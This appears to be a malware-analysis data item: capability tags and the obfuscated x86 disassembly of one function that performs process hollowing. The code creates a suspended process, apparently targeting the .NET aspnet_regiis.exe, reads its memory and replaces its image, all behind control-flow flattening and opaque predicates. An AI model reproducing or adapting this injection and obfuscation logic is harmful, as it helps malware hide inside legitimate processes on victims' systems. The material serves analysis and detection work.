Function at 0x10003670
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x188
mov eax, dword [0x10069800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x190], 0x3a3d8cfc
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x194], eax
sub eax, 0x81e14888
je 0x10006682
jmp 0x100036ac
mov eax, dword [ebp - 0x194]
sub eax, 0x8267e885
je 0x1000895f
jmp 0x100036c2
mov eax, dword [ebp - 0x194]
sub eax, 0x84b06ca3
je 0x1000b7e7
jmp 0x100036d8
mov eax, dword [ebp - 0x194]
sub eax, 0x858f4c7d
je 0x10007965
jmp 0x100036ee
mov eax, dword [ebp - 0x194]
sub eax, 0x85c50bf1
je 0x1000af49
jmp 0x10003704
mov eax, dword [ebp - 0x194]
sub eax, 0x85ce2c1e
je 0x100073e1
jmp 0x1000371a
mov eax, dword [ebp - 0x194]
sub eax, 0x86e7f44e
je 0x1000ad4d
jmp 0x10003730
mov eax, dword [ebp - 0x194]
sub eax, 0x889d76c2
je 0x10006dad
jmp 0x10003746
mov eax, dword [ebp - 0x194]
sub eax, 0x8a591747
je 0x10007457
jmp 0x1000375c
mov eax, dword [ebp - 0x194]
sub eax, 0x8a9b36ff
je 0x10008728
jmp 0x10003772
mov eax, dword [ebp - 0x194]
sub eax, 0x8c821e3d
je 0x10006296
jmp 0x10003788
mov eax, dword [ebp - 0x194]
sub eax, 0x8ccd5cdb
je 0x10006078
jmp 0x1000379e
mov eax, dword [ebp - 0x194]
sub eax, 0x8d9db3ee
je 0x1000b246
jmp 0x100037b4
mov eax, dword [ebp - 0x194]
sub eax, 0x8df1778b
je 0x1000b17c
jmp 0x100037ca
mov eax, dword [ebp - 0x194]
sub eax, 0x8e4d4def
je 0x1000a92a
jmp 0x100037e0
mov eax, dword [ebp - 0x194]
sub eax, 0x8e620691
je 0x1000b1ba
jmp 0x100037f6
mov eax, dword [ebp - 0x194]
sub eax, 0x8e71fb8d
je 0x10008d4a
jmp 0x1000380c
mov eax, dword [ebp - 0x194]
sub eax, 0x8ecdd61b
je 0x10007863
jmp 0x10003822
mov eax, dword [ebp - 0x194]
sub eax, 0x8f5887d6
je 0x10007cb3
jmp 0x10003838
mov eax, dword [ebp - 0x194]
sub eax, 0x8f966794
je 0x1000974b
jmp 0x1000384e
mov eax, dword [ebp - 0x194]
sub eax, 0x8fe5ac5e
je 0x10006879
jmp 0x10003864
mov eax, dword [ebp - 0x194]
sub eax, 0x901b8243
je 0x1000b7f6
jmp 0x1000387a
mov eax, dword [ebp - 0x194]
sub eax, 0x908cdaa3
je 0x10007354
jmp 0x10003890
mov eax, dword [ebp - 0x194]
sub eax, 0x910f7692
je 0x100082a4
jmp 0x100038a6
mov eax, dword [ebp - 0x194]
sub eax, 0x9287d76b
je 0x1000ac10
jmp 0x100038bc
mov eax, dword [ebp - 0x194]
sub eax, 0x92ce9fd2
je 0x10008c0e
jmp 0x100038d2
mov eax, dword [ebp - 0x194]
sub eax, 0x93180e28
je 0x1000b4cf
jmp 0x100038e8
mov eax, dword [ebp - 0x194]
sub eax, 0x93ebb251
je 0x1000846e
jmp 0x100038fe
mov eax, dword [ebp - 0x194]
sub eax, 0x94134805
je 0x10009d8b
jmp 0x10003914
mov eax, dword [ebp - 0x194]
sub eax, 0x949d2013
je 0x10008287
jmp 0x1000392a
mov eax, dword [ebp - 0x194]
sub eax, 0x949f0f71
je 0x10007b0e
jmp 0x10003940
mov eax, dword [ebp - 0x194]
sub eax, 0x95f94bfb
je 0x1000639e
jmp 0x10003956
mov eax, dword [ebp - 0x194]
sub eax, 0x96263801
je 0x10009bf0
jmp 0x1000396c
mov eax, dword [ebp - 0x194]
sub eax, 0x9717d640
je 0x10007c01
jmp 0x10003982
mov eax, dword [ebp - 0x194]
sub eax, 0x984506fd
je 0x1000b603
jmp 0x10003998
mov eax, dword [ebp - 0x194]
sub eax, 0x98d0f5e8
je 0x1000b35c
jmp 0x100039ae
mov eax, dword [ebp - 0x194]
sub eax, 0x99777f3c
je 0x100078de
jmp 0x100039c4
mov eax, dword [ebp - 0x194]
sub eax, 0x99ce97b8
je 0x100084f9
jmp 0x100039da
mov eax, dword [ebp - 0x194]
sub eax, 0x9a2bff39
je 0x100072ec
jmp 0x100039f0
mov eax, dword [ebp - 0x194]
sub eax, 0x9a388908
je 0x1000a2e3
jmp 0x10003a06
mov eax, dword [ebp - 0x194]
sub eax, 0x9aaccec7
je 0x1000869e
jmp 0x10003a1c
mov eax, dword [ebp - 0x194]
sub eax, 0x9b5b7991
je 0x10006474
jmp 0x10003a32
mov eax, dword [ebp - 0x194]
sub eax, 0x9bb25565
je 0x1000b3a9
jmp 0x10003a48
mov eax, dword [ebp - 0x194]
sub eax, 0x9beb7b2b
je 0x10008921
jmp 0x10003a5e
mov eax, dword [ebp - 0x194]
sub eax, 0x9c4b0a4b
je 0x100091d2
jmp 0x10003a74
mov eax, dword [ebp - 0x194]
sub eax, 0x9d49e16e
je 0x1000a1f0
jmp 0x10003a8a
mov eax, dword [ebp - 0x194]
sub eax, 0x9eab4110
je 0x10009880
jmp 0x10003aa0
mov eax, dword [ebp - 0x194]
sub eax, 0x9ec2a555
je 0x10008839
jmp 0x10003ab6
mov eax, dword [ebp - 0x194]
sub eax, 0x9ef4f376
je 0x1000b67e
jmp 0x10003acc
mov eax, dword [ebp - 0x194]
sub eax, 0x9efae72e
je 0x10006dca
jmp 0x10003ae2
mov eax, dword [ebp - 0x194]
sub eax, 0x9f0100f2
je 0x100069d1
jmp 0x10003af8
mov eax, dword [ebp - 0x194]
sub eax, 0x9fbd5ca6
je 0x100089a8
jmp 0x10003b0e
mov eax, dword [ebp - 0x194]
sub eax, 0xa0b1ff9f
je 0x1000b01f
jmp 0x10003b24
mov eax, dword [ebp - 0x194]
sub eax, 0xa1268668
je 0x10006de9
jmp 0x10003b3a
mov eax, dword [ebp - 0x194]
sub eax, 0xa166754f
je 0x100068a7
jmp 0x10003b50
mov eax, dword [ebp - 0x194]
sub eax, 0xa419d810
je 0x1000ad02
jmp 0x10003b66
mov eax, dword [ebp - 0x194]
sub eax, 0xa441dcdc
je 0x100084dc
jmp 0x10003b7c
mov eax, dword [ebp - 0x194]
sub eax, 0xa45738d3
je 0x10007ead
jmp 0x10003b92
mov eax, dword [ebp - 0x194]
sub eax, 0xa5465e5d
je 0x10005edb
jmp 0x10003ba8
mov eax, dword [ebp - 0x194]
sub eax, 0xa56fec14
je 0x10009909
jmp 0x10003bbe
mov eax, dword [ebp - 0x194]
sub eax, 0xa6974499
je 0x1000b4a0
jmp 0x10003bd4
mov eax, dword [ebp - 0x194]
sub eax, 0xa7042e37
je 0x10006c91
jmp 0x10003bea
mov eax, dword [ebp - 0x194]
sub eax, 0xa714af78
je 0x10006d8e
jmp 0x10003c00
mov eax, dword [ebp - 0x194]
sub eax, 0xa726dda8
je 0x1000a6dd
jmp 0x10003c16
mov eax, dword [ebp - 0x194]
sub eax, 0xa7e4938a
je 0x1000a15d
mov dword [ebp - 0x190], 0xceac8736
jmp 0x1000b946
mov dword [ebp - 0x190], 0x56cc0839
jmp 0x1000b946
movss xmm0, dword [0x1001838c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x190], 0xbd9bb0e2
jmp 0x1000b946
mov dword [ebp - 0x190], 0xfa6ca906
jmp 0x1000b946
mov dl, 1
mov eax, 0x1cda3b6e
mov ecx, 0x44713c71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
mov edx, ecx
sub edx, 0x9f0d44a5
sub edx, 1
add edx, 0x9f0d44a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d9db3ee
mov ecx, 0x52c0bce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov dword [ebp - 0x190], 0x69d98ba0
jmp 0x1000b946
movss xmm0, dword [0x10018368]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x190], 0x67eda754
jmp 0x1000b946
mov dword [ebp - 0x190], 0x2cb7b01d
jmp 0x1000b946
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
mov edx, ecx
add edx, 0x5b8b7045
sub edx, 1
sub edx, 0x5b8b7045
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24c8ba36
mov ecx, 0x3f275515
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x10018338]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x190], 0x889d76c2
jmp 0x1000b946
mov dl, 1
mov eax, 0xce138cc7
mov ecx, 0x9efae72e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x10018334]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x190], 0xa1268668
jmp 0x1000b946
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x190], 0xce138cc7
jmp 0x1000b946
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc66e2257
mov ecx, 0x5afffa20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x10018324]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x190], 0x54fadfec
jmp 0x1000b946
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
mov edx, ecx
add edx, 0xaec91cdf
sub edx, 1
sub edx, 0xaec91cdf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a6d3b70
mov ecx, 0x8a591747
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov dl, 1
mov eax, 0xceb95fb8
mov ecx, 0x492983a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x10018304]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x190], 0x6f0790a3
jmp 0x1000b946
movss xmm0, dword [0x100182f4]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x100182f0]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x190], 0xb02d6787
jmp 0x1000b946
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff61d8fb
mov ecx, 0xcaa5c203
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bc1849c
mov ecx, 0xeb7df1aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
mov edx, eax
add edx, 0xb82e10c4
sub edx, 1
sub edx, 0xb82e10c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x310c2f8e
mov ecx, 0x7648bbba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov dword [ebp - 0x190], 0x22835edc
jmp 0x1000b946
mov dword [ebp - 0x190], 0xf2cffd84
jmp 0x1000b946
mov dl, 1
mov eax, 0x656b742a
mov ecx, 0x910f7692
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x100182b8]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100182b4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0x61ec4f06
jmp 0x1000b946
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x30d50966
mov ecx, 0xa441dcdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov dl, 1
mov eax, 0xd91f438c
mov ecx, 0x99ce97b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x100182a0]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x1001829c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0xcb25bf4d
jmp 0x1000b946
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0xb30e38e4
jmp 0x1000b946
mov dword [ebp - 0x190], 0xf42c76d4
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
mov edx, eax
add edx, 0x4e3a572b
sub edx, 1
sub edx, 0x4e3a572b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x545bdc75
mov ecx, 0xb82d9ee7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x10018270]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001826c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x306f013b
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x628c95d8
mov ecx, 0x9fbd5ca6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x11c], xmm0
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
mov edx, ecx
add edx, 0xf7cf89b3
sub edx, 1
sub edx, 0xf7cf89b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x628c95d8
mov ecx, 0xbc54ea50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
movss xmm0, dword [0x10018264]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0x3681eaca
jmp 0x1000b946
movss xmm0, dword [0x10018254]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0x5987f5b1
jmp 0x1000b946
mov dword [ebp - 0x190], 0xbb975fa4
jmp 0x1000b946
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
mov edx, ecx
sub edx, 0xb21d03f8
sub edx, 1
add edx, 0xb21d03f8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5148797a
mov ecx, 0xb775a67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x190], 0x7223b01b
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
mov edx, eax
sub edx, 0xd4bd8ed7
sub edx, 1
add edx, 0xd4bd8ed7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7083baae
mov ecx, 0x7f42f269
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x190], 0x4cdf1b6d
jmp 0x1000b946
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0xd4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x170], 0
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x190], 0x66938725
jmp 0x1000b946
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x190], 0x485d6706
jmp 0x1000b946
mov dword [ebp - 0x190], 0x66938725
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
mov edx, eax
sub edx, 0x26036ce4
sub edx, 1
add edx, 0x26036ce4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41db0953
mov ecx, 0x1fdf750f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x8c]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0xd224a307
or edx, ecx
or eax, 0xd224a307
xor edx, 0xffffffff
and edx, eax
mov ecx, dword [ebp - 0x90]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x296c985e
mov ecx, 0x48d96225
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov ecx, dword [0x1006ab20]
mov eax, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87276d
mov ecx, 0xc86e1616
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov dword [ebp - 0x190], 0xeaf8a81a
jmp 0x1000b946
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
sub eax, 0xc7c00c63
add eax, ecx
add eax, 0xc7c00c63
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x190], 0x6cc0d8d7
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
mov edx, eax
add edx, 0x76a9e24c
sub edx, 1
sub edx, 0x76a9e24c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x277bdb9e
mov ecx, 0xb8363ea3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov eax, dword [0x1006ab20]
mov ecx, dword [0x1006ab1c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcdaaa02f
mov ecx, 0xeb06d3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b946
mov dword [ebp - 0x190], 0x651d2f8a
jmp 0x1000b946
mov dword [ebp - 0x190], 0x2956f341
jmp 0x1000b946
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x190], 0x52c0bce
jmp 0x1000b946
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x190], 0x4fedc519
jmp 0x1000b946
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x190], 0xe22b89e1
jmp 0x1000b946
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0x6f9d10a8
jmp 0x1000b946
movss xmm0, dword [0x100181bc]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0x6795d38c
jmp 0x1000b946
movss xmm0, dword [0x1001819c]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0x3e92301c
jmp 0x1000b946
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0x20d7377
jmp 0x1000b946
mov dword [ebp - 0x190], 0x752b958
jmp 0x1000b946
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x190], 0xee2409c8
jmp 0x1000b946
jmp 0x10003690